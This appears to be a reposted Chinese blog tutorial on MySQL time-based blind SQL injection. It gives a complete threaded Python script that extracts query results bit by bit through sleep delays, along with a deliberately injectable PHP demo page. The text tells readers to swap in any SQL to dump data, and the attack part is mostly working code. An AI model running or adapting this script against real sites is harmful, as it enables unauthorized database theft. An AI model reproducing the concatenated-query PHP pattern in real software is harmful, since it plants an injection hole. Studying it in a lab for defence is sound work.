mysql 延時注入,利用二進制延遲注入~!

看了freebuf的延遲注入課程,感受他那個突破延遲注入時間限制的思路很是不錯 視頻地址:php


而後本身寫了個py的demo,代碼寫的渣勿笑~html

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# @Author: Lcy
# @Date:   2015-08-29 22:26:17
# @Last Modified by:   Sunshie
# @Last Modified time: 2015-08-30 01:48:41
# blog:https://phpinfo.me
# 延遲注入工具
import urllib2
import time
import socket
import threading
import requests

class my_threading(threading.Thread):
		def __init__(self, str,x):
				threading.Thread.__init__(self)
				self.str = str
				self.x = x
		def run(self):
			global res
			x=self.x
			j = self.str
			url = "http://localhost/demo/1.php?username=root'+and+if%281=%28mid%28lpad%28bin%28ord%28mid%28%28select%20user()%29," + str(x) + ",1%29%29%29,8,0%29,"+ str(j) + ",1%29%29,sleep%282%29,0%29%23"
			html = request(url) 
			verify = 'timeout' 
			if verify not in html: 
				res[str(j)] = 0
				#print 1
			else:
				res[str(j)] = 1
	

def request(URL): 
	user_agent = { 'User-Agent' : 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit/534.55.3 (KHTML, like Gecko) Version/5.1.3 Safari/534.53.10' } 
	req = urllib2.Request(URL, None, user_agent)  
	try: 
		request = urllib2.urlopen(req,timeout=2) 
	except Exception ,e: 
		time.sleep(2)
		return 'timeout' 
	return request.read() 	

def curl(url):
	try:
			start = time.clock()
			requests.get(url)
			end = time.clock()
			return int(end)
	except requests.RequestException as e:
			print u"訪問出錯!"
			exit()
def getLength():
	i = 0
	while True:
		print "[+] Checking: %s \r" %i
		url = "http://localhost/demo/1.php?username=root'+and+sleep(if(length((select%20user()))="+ str(i) +",1,0))%23"
		html = request(url) 
		verify = 'timeout' 
		if verify in html: 
			print u"[+] 數據長度爲: %s" %i
			return i
		
		i = i + 1
def bin2dec(string_num):
	return int(string_num, 2)

def getData(dataLength):
	global res
	data = ""
	for x in range(dataLength):
		x = x + 1
		#print x
		threads = []
		for j in range(8):
			result = ""
			j = j + 1
			sb = my_threading(j,x)
			sb.setDaemon(True)
			threads.append(sb)
			#print j
		for t in threads:
				t.start()
		for t in threads:
				t.join()
		#print res
		tmp = ""
		for i in range(8):
			tmp = tmp + str(res[str(i+1)])
		#print chr(bin2dec(tmp))
		res = {}
		result = chr(bin2dec(tmp))
		print result
		data = data + result
		sb = None
	print "[+] ok!"
	print "[+] result:" + data


if __name__ == '__main__':
	stop = False
	res = {}
	length = getLength()
	getData(length)


1.php代碼以下:python

<?php
/* 
* @Author: Lcy
* @Date:   2015-08-29 22:09:59
* @Last Modified by:   Sunshie
* @Last Modified time: 2015-08-30 01:46:17
* 延遲注入測試
*/
header("Content-type:text/html;charset=utf8");
$link = mysql_connect("localhost", "root","");
mysql_select_db("mysql", $link);
mysql_set_charset("utf8");
$sql = "SELECT user FROM user where user='{$_GET['username']}'";
echo $sql;
$query = mysql_query($sql);
echo "這是一個沒有任何回顯的注入點";

?>


wKiom1Xj-puxoYLWAAEfuj8Lhac816.jpg


若是要爆數據啥的話就改py代碼裏面的select%20user(),替換爲你要執行的sql便可mysql

原文連接,感謝Lcy's Blog
sql

https://phpinfo.me/2015/08/30/1026.htmlapp

相關文章
相關標籤/搜索